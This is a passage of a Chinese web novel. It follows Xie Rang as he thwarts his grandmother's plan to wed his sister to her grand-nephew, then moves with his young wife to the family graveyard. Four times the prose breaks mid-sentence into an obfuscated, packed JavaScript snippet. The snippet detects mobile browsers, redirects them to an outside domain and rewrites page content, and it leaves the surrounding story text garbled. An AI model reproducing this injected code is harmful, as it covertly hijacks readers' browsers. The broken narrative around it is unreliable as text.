至于老王氏的这个侄孙王继宗,比谢让年龄还大了两岁,已经弱冠成年,却一直没有娶妻成家。老王氏当年能让谢寄娶了娘家亲侄女,如今故技重施,早就有想把家中孙女嫁一个给娘家侄孙的念头了。 只不过之前老王氏属意的是谢凤鸣,好让她那侄孙跟伯府的公子做连襟。谢凤鸣是谢凤歌的亲妹妹,只要把谢凤鸣嫁给侄孙,他们王家就是广平伯府正经八百的姻亲了,这个算盘老王氏打得十分划算。 结果事还没成,谢凤歌却被休了回来。 王家那边的心思就起了变化。大房人口复杂,嫡的庶的七八个,崔氏更是精明刻薄,谢凤鸣本人也不是个好性子,颇得崔氏真传。王家跟大房结亲讨不到便宜,那就不如二房了。 最主要的是,王继宗本人也更喜欢谢凤宁,比起谢凤鸣,谢凤宁的性情容貌显然更好。 至于家中其他的庶女,压根就不在老王氏考虑范围。庶出的孙子孙女在老王氏眼里低了不止一等,看看谢家姑娘的名字就知道了,嫡女是凤,庶女就只能是燕。 然而在谢让看来,即便是家中庶出的堂妹,要嫁给王继宗那也是糟蹋了一个好好的姑娘。 因此一发现王家这个苗头,谢让才会立刻把妹妹送走。老王氏和王家人倘若还有一点自知之明,自然该明白他和凤宁的态度,不该有的心思就趁早歇了吧。 晚间晨昏定省,王家祖孙三代居然还没走,看样子是打算住下了。 “宁姐儿呢?”老王氏问起凤宁,笑着说道,“你去把宁姐儿也叫来,她王家表哥好不容易来一趟,正有事情找她呢,让他们表兄妹也好亲香亲香。” 谢让躬身答道:“真是不巧了,祖母有所不知,我外祖这几日身子不大好,家中无人照料,就把宁姐儿叫去了。说是大过年的,正好留她小住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14001366|147670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几日。” 老王氏顿时脸色一变,王家祖孙脸上也不太好。 老王氏哪能不明白他在说什么,憋着气,找了个由头发作道:“我怎么不知道这事,这家中还有没有规矩了,为人小辈,出门离家自作主张,你们就敢自专由了,都不用禀告长辈的么?” “确实,这事情是凤宁的不对,是她不好,祖母不要生气,我回头一定教导她。” 谢让不跟她辩这个,凤宁不好,你们爱换谁换谁,彼此心里明白就行。 谢凤宁一走,小院里就剩下谢让和叶云岫,两口人吃饭,谢让简单做了两碗萝卜丝面疙瘩汤,打个荷包蛋,配上小菜,两人就在灯光下对坐吃饭。 叶云岫知道谢凤宁为何躲出去,但是她却不能明白,王家想怎样是他们的事,不答应不就完了吗? “难不成凤宁不愿意,你祖母还能把她绑着送到王家去?” “能。”谢让说,“你以为就没有绑着上花轿的人?” 父母之命媒妁之言,别说世俗礼教了,就连朝廷律法都是如此。只要两家父母长辈做了主,媒妁齐全,婚书为证,便是绑着塞进花轿,那也能名正言顺,生是男家的人,寻死上吊都还是男家的鬼。 谢让如今能凭靠的,就是父母不在,他作为凤宁的兄长,凤宁的婚事他这个兄长也能做主。但他头上压着的是祖母,孝道大过天,规矩如此,真要闹起来,就连宗祠都不会站在他这边。 “我这个人,性子其实有些仁弱。为人在世,人家能容我侧着身子过去,我也就过去了。” 谢让冷冷一哂,可人家若是侧着身子都不让他过去,那他也无路可退。 早前王家的事不在他考虑防备之内,因为老王氏的人选也不是凤宁,可谁知突然生出这种变故,弄得他现在防范动作都来不及了。 “是我无能,凤宁眼看着就要及笄了,我却不能给她寻一门好亲事。” 及笄,十五岁?叶云岫忍了忍,无可忍,愤然道:“才十五岁就要结婚嫁人?十五岁明明还是个半大孩子。” 谢让并不是要跟她争辩,他其实也觉得妹妹还小,只是无奈道:“世俗如此。” “世俗如此就一定是对的吗?”叶云岫黑眸定定,不悦地抗议道,“你们男子就是二十岁及冠成年,凭什么女子就十五岁?我父亲说的,女孩子家最少也要到年满十八岁,才能算长大成人,二十几岁再考虑结婚的事才好。” “你父亲……”谢让顿住,她父亲身为江南叶家的嫡长子,竟有这般异乎寻常的见解?他笑了笑,真心说道,“岳父一定十分疼你。” 想来是一个疼爱女儿的父亲,舍不得女儿出嫁了。他却不知道,叶云岫口中说的压根就不是什么叶家嫡长子。 叶云岫对亲生父母毫无印象。末世降临,她被养父带走时还不满周岁,她心目中的父亲,从来就只有她的养父。 养父要是知道她十四岁就被“情势所迫”嫁了人,恐怕要拎着刀跨越时空追杀过来。 18. 第 18 章 祖母和王家显然没有死心。毕竟在他们看来,只要老王氏这个祖母答应了婚事,顺理成章,那谢凤宁就注定是他们老王家的人了。 次日一早主院请安,老王氏便明确提了出来,老王氏直截了当跟谢让说,她打算让谢凤宁跟王继宗定亲,亲上加亲,叫谢让赶紧去把谢凤宁接回来。 谢让索性也明确表示,他不同意。 “一来凤宁还小,两人年岁性情都不合适;二来父亲不在,凤宁的婚姻大事,总得禀过了父亲才行。” 老王氏气得骂道:“你父亲还不知猴年马月能回来呢,音信都没有,难不成他回不来,你妹妹就一辈子不嫁人了?你王家表哥哪里不好,亲上加亲,嫁过去王家拿她当亲生女儿一样疼,才不会受了委屈。” “祖母慎言!”谢让起身揖礼道,“一大早上的,祖母莫要说这些不吉利的话,父亲是您亲生的儿子,祖母难道不盼着他平安回来么?婚姻之事总得两厢情愿,还是难道说,祖母心里不疼自家的,我们兄妹两个,在祖母心里都抵不过您一个侄孙?” 老王氏气得抄起茶盏就往他身上砸,谢让也不管热茶砸了一身,立刻跪下,沉声道:“祖母息怒,总之这件事不成,请祖母也可怜可怜我们兄妹孤苦。” “放屁!”老王氏冲口骂了粗话,拍着坐榻骂道,“让哥儿啊让哥儿,我真是白疼你一回了,你王家表哥到底哪里不好,你是瞧不起我娘家,还是瞧不起我这个祖母!我就实话告诉你,这门婚事成也得成,不成也得成,我已经答应了。我这个祖母还没死呢,还轮不到你做主。” 谢让回到小院,一进屋就脱去被茶水弄湿的衣裳。叶云岫皱眉看着他,问道:“你没烫伤吧?” “没事,棉衣厚。”谢让换了外袍,顿了顿叹道,“我得赶紧出去一趟,你自己在家呆着,把门从里边闩上,谁来也别开门。” 叶云岫点头。 谢让又说:“顾不得做饭了,我去给你热几个馒头,你自己把参茶冲了,凑合一顿。” “哎呀没事你快去吧,”叶云岫不耐烦地挥挥手,“那柜子上还有你买来的点心呢,你就是不做,一顿两顿我也饿不死的。” 谢让不禁笑了下,伸手摸了摸她的脑袋,转身匆匆出去。 他一走就是大半天,赶到晌午过后,才匆匆从外边回来,先递给叶云岫一个荷叶包,里边包着几个热腾腾的包子和一小包卤肉。 “怎么样了?”叶云岫给他倒茶。 谢让抄起茶盏一饮而尽,沉声道:“没事,你不用担心,无论如何,我是决计不会让凤宁嫁入王家的。” 图穷匕见,无非就是彻底闹翻。 “上午有没有人来过?”谢让问。 叶云岫说只有谢询来敲过门,叶云岫也没开门,谢询听说他不在,就自己走了。 谢让便先把谢询叫了来,得知王家祖孙三口还没走,且祖母上午派了谢诚去接她的娘家妹妹和妹夫,又打发人去请媒婆。如今祖母的妹妹妹夫已经到了,媒婆正月里事忙,如今还没来,估摸着约了下午。 谢让这会儿也不急了,就着热茶吃了两个包子,整理一下衣裳,径直去谢宅大门等候。没多会儿,谢仲便由长子谢宥陪着来了。 谢让便陪着谢仲父子二人,径直去主院。老王氏和王家祖孙、老王氏的妹妹妹夫,还有谢寄和小王氏两口子都在,彼此不免又客气寒暄一番。 老王氏对谢仲这个几次指摘她的小叔子尽管不喜,面上却也得过得去,当下请到正厅就坐,上了茶,才问起谢仲今日的来意。 谢仲笑道:“这不是让哥儿请我来的么,宁姐儿要定亲,这是家中一桩喜事。周家那边请了镇上的卞秀才给男方保媒,让哥儿便请我来凑个数,做女方媒人,这样的好事我哪能推脱。” 老王氏和娘家几人一听,脸色骤变,又有些摸不着头脑。老王氏急忙问道:“什么周家,你说宁姐儿要跟谁定亲?” “怎么,大嫂不知道?”谢仲愣了愣,一脸疑惑道,“不是周家吗,亲上加亲,让哥儿外祖家,周老秀才的独孙,我看两个孩子倒也年貌相当,周家那孩子不错,周家的家风也是极好的。” “胡说!宁姐儿是要跟我的娘家侄孙定亲,我妹妹和妹夫就是男方请来保媒的,我请的女方媒婆这就来了!” 老王氏这会儿反应过来,原来谢让是要釜底抽薪,断她的后路啊。 老王氏勃然作色,拍着桌子,指着谢让骂道:“混账东西,你又生的什么幺蛾子?这回可由不得你,王家的亲事,我已经答应了,回头定个亲,写下婚书,开春就让宁丫头嫁过去!” “祖母,孙儿也已经跟您说过了的。”谢让起身离座,恭恭敬敬,从容说道,“凤宁和我的表弟周元明年貌相当,青梅竹马,两家又是至近的姑表亲戚,亲上加亲,早年外祖父就曾说过想让他们两个做亲的意思,这事我母亲在世时曾提过的,我父亲也未反对。这两日祖母一再关心凤宁的婚事,我也跟您说了王家的事情不成。所以今日我特意跟外祖父禀明,外祖父便请了媒人,正经将这事定下了。” 他说着又转向王家几人,客气有礼地笑道:“王家表兄自然很好,只是凤宁早有婚约,没这个福分,对不住了。” “胡说,荒唐!”老王氏气得直拍胸口,劈手砸过来一个茶杯,骂道,“他周家算个什么东西,外家就是外家,你可别忘了你是姓谢的,纵然是你外祖,他姓周的凭什么做主我谢家女儿的婚事!” “外祖自然能做周家的主,至于凤宁这边……”谢让顿了顿,一字一句道,“父母不在,我这个兄长,自然也是能做主的。” 老王氏怒骂:“我不答应,还轮不到你做主!”又向谢仲说道,“周家的事情不作数,我没答应。凤宁我已经许给王家了,这门婚事就这么定了,叫他周家快滚!” 谢仲一头雾水地听了半天,这会儿才约莫明白过来。 怪不得谢让一大早跑去找他保媒,只说周谢两家要亲上作亲,别的也没提,愣是把他也绕进去了。 谢仲看了看旁边窝窝囊囊的王继宗,不禁面露嫌弃,也难怪,他要是谢让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14019658|147670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄妹,他也不选这么个玩意儿。 索性他已经被谢让拉进了这趟浑水,木已成舟,谢仲作为小叔子,自然也瞧不上老王氏这些年拼命向着娘家的做派。 谢让瞧着谢仲面上神色,心中有数,从容一笑道:“只怕要让祖母失望了,周谢两家的亲事,已经定下了,上午刚写好的订婚文书,此事名正言顺,再无更改余地。” “胡说!”老王氏破口大骂,“你个孽障,这事我不答应!” 谢仲开口道:“大嫂,让哥儿说的不假,这桩婚事如今已是正正经经地定下了,两家外祖和兄长做的主,男方遣卞秀才求的亲,女家是我保的媒,媒妁齐全,婚书具备,定亲文书都是卞秀才亲手写下的。你这会子再说什么王家,他便是告到衙门,衙门也得断给周家,只能是他王家没理。” “大嫂若不信,等我把两份庚帖拿给你看。”谢仲停了停,长叹一声道,“儿孙自有儿孙福,宁姐儿也是你的亲孙女,大嫂这又是何苦来哉呢。大嫂也别忘了,这家是姓谢的。” 老王氏的妹夫是个酸人,大约也读过几卷书的,居然在旁边摇头晃脑说道:“堂堂谢家,竟是这般规矩礼教乎,可真叫人开了眼界,家中尚有祖母尊长在,姑娘订亲都能自作主张,不经过祖母同意的。” “混账东西,你忤逆长辈,忤逆不孝,谢家没有你这样的不肖子孙!”老王氏哭天抢地骂。 谢仲脸色一黑,谢让却已经从容下跪,恭敬说道:“谢家的规矩有祖母教导,自然是极好的,我妹妹奉我这个兄长做主定的亲,她并无任何错处。祖母非说不知情,那只能怪我行事不周,没能跟祖母解释清楚。是孙儿的错,请祖母责罚就是。” “混账东西,混账!”老王氏指着他骂,一忽儿气得直拍胸口,喘不过气来,抖着手叫谢寄,“把他给我轰出去,逐出家门,逐出家门,不孝的东西,写下切结文书,我要跟他断绝关系,我谢家没有这种不肖子孙。” “大嫂!”谢仲断喝一声,沉着脸站起身,正色道,“大嫂慎言,谢家这都什么样子了,大嫂还要折腾!家道败落如此,儿孙统共能有几个成人的,我大哥泉下有知,大嫂难不成还要作得谢家子孙凋零么?” “哎呦我不活了,你们欺我一个老迈可怜的寡妇人家,让我随你大哥去了吧……” 老王氏开始寻死觅活地哭嚎。 谢仲嘴角抽搐,脸色十分难看,正要发作,那边谢让已经转过身来,对着他俯首深深扣拜下去。 “堂祖父,祖母既然恼了我,那便是我为人子孙的不对,孙儿忤逆长辈,罪无可恕,自知对不起祖父在天之灵、也对不起堂祖父的呵护之意,就请堂祖父作证,祖母发落,孙儿自请放逐,这就上山给祖父守墓,闭门思过。” 他说完,起身整理衣裳,恭恭敬敬地对着老王氏一揖到底:“孙儿祈祝祖母福寿安康,永享天伦。孙儿拜别祖母,望祖母多多保重。” 说完便转身出门,昂然而去。 老王氏气个仰倒。谢仲气急败坏地一摔袖子,赶紧追了出去。 19. 第 19 章 谢仲只以为谢让是伤心赌气,殊不知谢让巴不得脱离出去,离得越远越好。 逐出家门这种事情,老王氏骂上一千遍,却也做不得主,这话要是谢信在世说的也就罢了,老王氏说,宗祠那边首先就不会答应。若是一个无知的深宅老妇随口一句,就能把他们谢氏子孙逐出家门,那成什么了。 除非做了什么十恶不赦的事。更何况在谢仲看来,如今整个谢家大宅,就靠着那点族田坐吃山空,平常也都是谢让打理田产,打理外头的琐碎诸事,还不知指望的谁呢。 谢让自然也明白这一点,索性抢先自请放逐了。 谢让再次跟谢仲赔了罪,怎么说都是他为达目的,把谢仲蒙在鼓里,可他若是一开始就跟谢仲坦白实情,以谢仲迂腐的脾性,大约不会轻易保这个媒。一旦稍加拖延,让老王氏和王家抢先写下订婚文书,就什么都晚了。 对此谢仲虽有微词,却也能够理解原宥。 “你当真要上山给你祖父守墓?”谢仲不赞成道,“先不说山上清苦,你走了,谢家这偌大一摊子,怎么办?” “堂祖父,我心愿如此。”谢让一笑,坦然道,“堂祖父,谢宅不是我一个人的,谢家更不是。” 他说:“我自请放逐思过,一来我作为兄长,该有什么错处都有我担了,也免得有人非难凤宁。二来,我也是真的想去给祖父守墓,好好沉淀一下,过几天清静日子。” 他话说到这样,谢仲也不好再阻拦了,顿足道:“可是你这刚成婚……” “无事,堂祖父不必担心。” 谢让轻笑,他相信,家里那个小新妇,大约比他还巴不得脱离出去。 果然谢让回去一说,叶云岫首先就是高兴,可以搬出去住了,上山去住?那可太好了。要是一直这么在这大宅子里关下去,她都要生霉了。但是—— “凤宁和周元明?”叶云岫睁大眼睛,想了想,这个时代表兄妹结婚也很平常,便问道,“他俩定亲?他俩……彼此有意吗?” “我和外祖父商量出来的法子。他们从小亲如兄妹,年纪又小,依我看哪有什么男女之情,这也是无奈之举。”谢让轻叹,顿了顿说道,“就当是权宜之计吧,如今他们也才十五岁,我和外公说了并不急于让他们成亲。” 又是权宜之计。叶云岫玩味着这个词,问道:“那他们自己也知道这个意思?” “外祖父是这么跟元明说的,眼下只有让他跟凤宁订婚,才能护住凤宁。” “表兄妹,其实也是血脉相关的至亲。”叶云岫道。 生在末世,叶云岫有一些伦理观念,然而伦理观念却也没有多么强。毕竟在末世,能生存下来就已经很难了,当弱肉强食成为法则,哪还有那么多无关紧要的仁义道德。 她想了想,解释道,“都知道同姓不婚,可其实,表兄妹的血脉也很近,要不你看看你三叔三婶,你三叔家的大儿子,虽然看着正常,但一大家子数他最丑,小儿子都两三岁了,却还不会说话走路。我听凤宁说,你三婶还夭折过一个孩子。” “三岁夭折。”谢让道,想起小王氏夭折的那个孩子,生下来就先天不足。 老王氏以前喜欢给别的儿媳房里塞人,但对小王氏这个亲侄女却不会。然而小王氏跟谢寄婚后这些年,子嗣上头却不尽人意。 叶云岫说:“你要不信,你去留心一下那些表兄妹成亲的,生孩子更容易痴傻残疾。” 谢让十三岁就独自出门游历,如今打交道的更是三教九流、各色人等,阅历自然不浅。叶云岫这么一说,他甚至都不用仔细回想,心中已经觉得认同了几分。 “你居然还懂这些?”谢让惊奇。 “我父亲说的,他说……听郎中说的。”叶云岫随口找了个理由,停了停却又笑道,“不过这个好像也不是一定,他们若彼此相爱,大不了不生孩子就是了。” 这话有些惊世骇俗了。谢让无奈地嗔道:“你这脑袋里到底想些什么呢,别人面前可不许这般信口开河。” 叶云岫懒得回应。别人面前?所谓言多必失,她这样生来乍到,本身也不爱说话,别人面前她都懒得张嘴。 两人立刻就动手收拾东西,衣服被褥、吃穿住用,搬家一般,满满当当装了一驴车。 临走时谢询和谢燕真来了,两个都是一脸愁容,谢燕真甚至掉了眼泪。杨姨娘倒没露面,谢让心知这个关头,杨姨娘是不敢来的,肯定怕得罪老王氏,她在谢宅的日子就难过了。 人有亲疏远近,谢让自认为不是圣人,对这两个庶弟、庶妹虽说也会关照尽责,却仿佛隔着一层,总不像他和凤宁那样亲近。 “回去吧,不必送了,”谢让温声道,“询弟今年也十二了,自己学着立起来,照看好你姨娘和燕真。若有什么急事,你可以去找周元明,让他转告我。” 谢让赶着驴车,带着叶云岫坦然出门,迎着斜阳,径直离开了谢家大宅。 谢让因触怒祖母,大过年被“赶出谢家”的事情已经在小镇上传开了。但凡明眼人,一问缘由大约也就明白怎么回事了,谢让无非是为了护住妹妹,不让她所嫁非人。因而一路上有熟人跟谢让打招呼,或者替他不平几句,谢让便只是含笑应付过去。他又不蠢,自然不会在外头跟人讨论自家祖母的不是。 这个时候离开谢宅,要上山已经晚了,谢让无非就是故意的,故意要把姿态摆足了给人看。但是不上山,今晚还得先有个落脚处,他赶着驴车去了外祖家。 周家在镇北,是一处整洁幽静的二进小院。这是自成婚那日之后,叶云岫第一次见到外祖父,谢让先引她见了礼。 外祖父周旷年见他们来了十分高兴,却说道:“我以为你好歹能等到明日再走呢。” 谢让笑道:“为何要等到明日,我今晚就让人扫地出门了,无处可去才来投奔外祖父。” 周旷年指着院子说道:“你这会儿才来,我们祖孙三个,今日都辛辛苦苦收拾一天了,元明搬去东厢这间,把东耳房收拾出来给宁姐儿住,你们小夫妻来了,正好还空着两间西厢房,你也不是非得要上山。” 谢让摇头笑道:“外祖父不必担心,都说了,我这是放逐思过。” 周旷年的意思,自然想留他们就在周家住下。可周旷年自己也清楚,谢让背着放逐的名义从谢家搬出来,于情于理,都不可能长期住在外家的。 周旷年道:“你也就罢了,可你媳妇……”说着看了看叶云岫,这么个娇花一样的小新妇,娇娇滴滴,柔弱多病,也能一直住在山上吗。 谢让道:“这也是没法子,山上清苦,我多照顾她一些就是了。” “那让凤宁留下吧,我都在外头说了凤宁来照看我养病,你家祖坟我知道的,去了怕也住不下。”周旷年环顾小院,慨叹道,“这宅子说大不大,平日里就只有我和元明祖孙两个,也实在冷清了。” 望着眼前须发斑白的老人,谢让心中一酸,点头答应了。先把凤宁留下也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14032945|147670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,能陪陪外祖父,再说山上确实简陋,两个都去了他也怕照顾不过来。 因为他们的到来,外祖心情大好,张罗着做了晚饭,祖孙三个还喝了点自家酿的浊酒。 叶云岫和谢凤宁不被允许喝酒,只能努力多吃菜,吃饱了绕着院子消消食,谢让便让两人早点儿回房休息。 外祖父忙道:“凤宁,去西厢房帮你哥嫂铺床,元明你再去拿一床被子。” “不必了,就住一晚上,哪用那么麻烦。”谢让笑着叫叶云岫,“你今晚去跟凤宁睡吧,我回头就跟元明挤挤。” 叶云岫自然不会多想,谢凤宁也很高兴,高高兴兴地拉着叶云岫回屋了。 过了会儿周元明也乏了,先跑去睡了,谢让摆上棋盘,陪着外祖父闲坐对弈。祖孙两个难得有这样悠闲清静的时候,一不留神就坐到了很晚。 夜深人静,烛火爆了一个灯花,谢让拿起剪刀剪去了。 “让儿,你……”外祖父迟疑一下,还是问道,“你和你媳妇,相处可好?” “挺好。”谢让含笑道,“外祖父也瞧见了,她远道而来,年纪又小,总有几分不谙世事,心思纯净懵懂,却也蛮可爱的。” 外祖父顿了顿,面色稍有尴尬,却还是问道:“你们,不曾圆房?” 谢让神色丝毫未变,只是笑道:“外祖父,她尚未及笄。” “你少跟我来这些。”周旷年微嗔道,“民间十三四岁成婚生子的多得是,要这么论,如今过完年你媳妇也已十五了。你本家堂嫂、谢仲的孙媳年前刚生了孩子,才十四呢,你能不知道?” 谢让捏着一粒黑子斟酌,最终随便下了一步,笑道:“外祖父,他们是他们,我是我。” “行了,我看你待这位叶姑娘,跟凤宁也没什么两样!” 周旷年也无心下棋了,随意放下手中的几粒棋子,叹道,“你这孩子,从小主意就大,你这回到底是打的什么盘算?” 谢让顿了顿,慢条斯理地把棋子收回罐中,沉吟道:“外公,人生如蜉蝣,生在这般世道,我原本就不曾有过成家的念头。男儿上不能安邦济世,下不能庇佑妻儿,何苦要徒增牵挂、拖累妻儿老小呢。倒不如俯仰天地,独善其身,一个人反倒逍遥自在。” “你说你……”外祖父指指他,无奈地摇头道,“少年人家,老气横秋,怎么就这般心性!” 谢让笑了下,却问道:“外公喜欢云岫?” “我喜欢不喜欢又怎样。”外祖父道,“是要问你喜不喜欢。” “我很喜欢。”谢让莞尔,带着几分顽皮笑道,“当个妹妹养着挺好的。我原本也没把婚约当回事,可阴错阳差,这桩婚姻与我和她而言,都有不得已。我把她接了来,她毕竟也帮了我,又这般柔弱无依,无论责任还是道义,我都不能不管她。但是她如今也只有十几岁,她生于绮罗,容貌太盛,又身体娇弱,我与她而言实非良配。” 他悠然地把棋子一粒粒收回,装好,盖上盖子,一边淡然说道,“我也无心功名利禄,我能给她什么样的生活,是否有能力护她一世,这般清贫平庸的日子,她又能跟我过多久?外祖父您曾教导我,情深不寿,慧极必伤,我不过是活得几分清醒罢了,自问也做不来什么痴情种子,何苦非要误她一生呢。” “若是将来,她心智渐长,能遇到一个家世清白、人品端方的心仪男子,我自然就可以放心交托,也算是全了这阴错阳差的缘分吧。与我、与她,都好。” 20. 第 20 章 谢让心知外祖父留下凤宁,怕也打的一番好主意。 试想啊,只让他带着叶云岫上山,二人正当青春年少,孤男寡女,朝夕相对,好歹就日久生情了呢。 二来怕也是寻思着凤宁和周元明定了亲的,有心促成一对小儿女。再说外祖父半生悲苦,跟前只有周元明一个孙子,大约也想趁机留凤宁承欢膝下,多享几日天伦亲情。 只是叶云岫那番“表兄妹血亲论”,却也叫谢让留了心思。 第二天一早,表兄弟二人抵足醒来,一同起床挑水扫地,早饭后谢让便带着叶云岫辞别外祖父,周元明跟着送他们上山。 一路上,谢让便相机跟周元明谈及他和凤宁的婚约。当然从他的立场而言,他一手制造的婚约,于情于理都不好再横加干涉,便只能适当提点几句,说二人眼下也是权宜之计,叫周元明不必背负太多,万事随缘就好。 至于凤宁那边,周元明那样的性情,对自家人素来坦诚率真,他是什么样的想法,很快就能传递到凤宁。 剩下的,就只能交给天意了。 北陵山绵延百里,谢氏祖坟处在其中一座名为青峰岭的山头上,背倚群峰,下临小河。这条河名为白马河,据说当初谢氏先祖懂一些阴阳之术,寻了很久,才寻到这么一块“骑龙跨马”的风水宝地,能保佑后世子孙有大造化。 百余年过去,谢氏子孙确实出了个大造化,也就是祖父谢信。寒门农户顿时变作耕读传家的望族,族中一时欢欣鼓舞,鸡犬升天。然而从谢信状元及第,到败落身死,也不过短短二三十年。大造化就这么昙花一现。 青峰岭山势陡峭,驴车是没法上去的,周元明在前头牵驴,谢让在后头推车,两人连拉带推,先把驴车拉到一处相对平缓的半山坡,便熟练地解下毛驴,改为让毛驴驮着东西上山。 “你先在这里等着……”谢让话说半句,改了主意,笑道,“算了,你一个人在这里等,出来个兔子都能吓你一跳,先把你弄上去吧。” 他说着背对她蹲下,示意她上来。叶云岫试了试自己的小细胳膊小细腿,觉得养了这么两个来月,其实是有点力气的,但转念一想,也没必要非跟大山过不去,便顺从地趴在他背上, 谢信显赫时,族中也花了不少力气在祖坟上,山下平缓处还能有路,从这里上山,山石小径也依稀可辨,陡峭处还开凿了一庹多宽的石阶。想来也是,总得保证棺椁能抬上去吧。 谢让背着叶云岫,周元明牵着驴,陡峭难行处还得帮驴搭把手,又爬了小半个时辰,瞧见一座三门的石牌楼,谢氏墓园便到了。 谢让能选中这里“自我放逐”,也不是没脑子的,他还带着个叶云岫呢,不会真的自讨苦吃。除了墓地这个因素,此处却也是个清静优美的好地方,并且过了石牌楼就有一处房屋,山石为基的木料搭建,一共三间,坐北朝南,带柱外廊,没有院子,跟山坡上星罗棋布的墓碑隔着几十丈相对,原是当初建起来,留作祭祀守墓、上坟休憩用的。 至于墓地……自家祖宗。 谢让一路把叶云岫背上来,大冬天额头冒着汗意,叫她自己先在廊下坐着,他跟周元明合力卸下毛驴驮着的东西,还得再下去驮。 “你就在这坐着晒太阳,不要乱动,屋里没打扫,到处都是灰。” 谢让谆谆交代完,才跟周元明折返。走出不远,周元明捂嘴笑道:“表哥,你对表嫂,怎么跟小孩似的。” “她本来能有多大?”谢让则笑道,“你在我眼里也是毛头小孩子呢。” “去你的,别忘了你就比我大三岁。” “四岁。” “三岁半!” 表兄弟两个嬉闹起来,一路说笑着下山了。又拉着毛驴驮了两趟,才把带的东西都运上来。 然后两人大肆把房屋里外打扫一遍,需要修缮的地方就赶紧修缮,中午随意吃了些干粮,继续干活。等到太阳偏西,谢让便叫周元明下山。 “正好你把驴车赶回去,若是不想送回谢宅,就顺路到学堂去,交给谢询行了。”谢让道。 周元明问:“你不留着毛驴用?” “我留它做什么,山上也没多少用处,我还得伺候它。” 谢让挥挥手,看着一人一驴下山去了,转身把三间屋子分配一下。两间东屋是通间,他便靠东墙铺了自己的床,半边留作堂屋,西屋给叶云岫住。 山居一切从简,叶云岫自己铺了床,放下箱笼,把屋里收拾规整一下,那边谢让刨土挖坑,很快用石块在屋外空地上支起了简易的锅灶,就地取材捡了些枯枝干柴,先烧了一大锅热水,留作擦洗清洁用,又灌了汤婆子。 斜阳满山,两人各自捧着一杯热茶,坐在廊下小憩。 “你在这里怕不怕?” 叶云岫摇头。怕什么?她有留意,附近没看到大的活物。 “确实不用怕。”谢让笑,清越平缓的声音笑道,“喏,有这么多自家祖宗护着呢,自家地盘,便是真有什么山魈鬼魅,祖宗也都帮我们赶跑了,不会让自家小辈吃亏。” 叶云岫点点头。这么一说还真是,谁还不是有靠山的了。 赶在落日前,谢让就用简易的地锅煮了两碗手擀面,就着带来的酱菜吃了晚饭。饭后去谢信墓前拜祭,又挨个祖宗打了招呼,烧纸祭拜一番。 谢让抽出锅底下通红的木柴,烧饭时特意烧去了浮烟,用一个铜盆生起火盆,放在屋里敞着门烤火。这才正月里,春寒料峭,山间夜晚会更加的冷,先给屋里烘暖和,也烘一烘屋里许久不住人的清冷气息。 “木柴到底不行,明天我得赶紧多烧点木炭。” “可是,你有缸吗?” “山上哪还用得着缸呀,正好支个土窑,一次还能多烧些出来。” “你都哪里学的?”叶云岫好奇,荒野求生吗? “学什么?”谢让说,“支锅?土窑?农家百姓有几个不会的。” 都是底层百姓日常生存的技能罢了。他笑着聊起小时候,十一二岁,领着周元明逃了功课,一起在田间支锅烧灶,烧泥鳅、煮豆子吃。 叶云岫没吃过泥鳅,也没吃过鲜摘煮熟的青豌豆,听得津津有味,真想尝一尝。 谢让交代她:“我明天一早可能要去打柴,砍木头烧炭用,你若起来见不到我也别怕,我很快就回来了。” 叶云岫问:“你要走很远吗,一个人还是不要轻易深入,万一有什么大的活物。” “没事,这附近我熟。”谢让笑道,“近山很少有伤人的野兽。兔子不吃窝边草,咱们不能光打周围近处的柴,不过你放心,我反正就在这座山头上,不会走远的。” 静夜安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14043042|147670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 详,谢让怕她第一晚上山不习惯,就多陪了她一会儿,两人深夜才各自回屋去睡,叶云岫抱着汤婆子,一夜好眠。 醒来红日高照,习惯性发了会儿呆,打开门,鼻端都是山间草木的清新气息,沁人心脾,便让人心情格外地舒畅。叶云岫就在晨间明媚的阳光下练了一遍八段锦,又绕着墓园散步走动一圈,回到木屋前做一些拉伸活动。 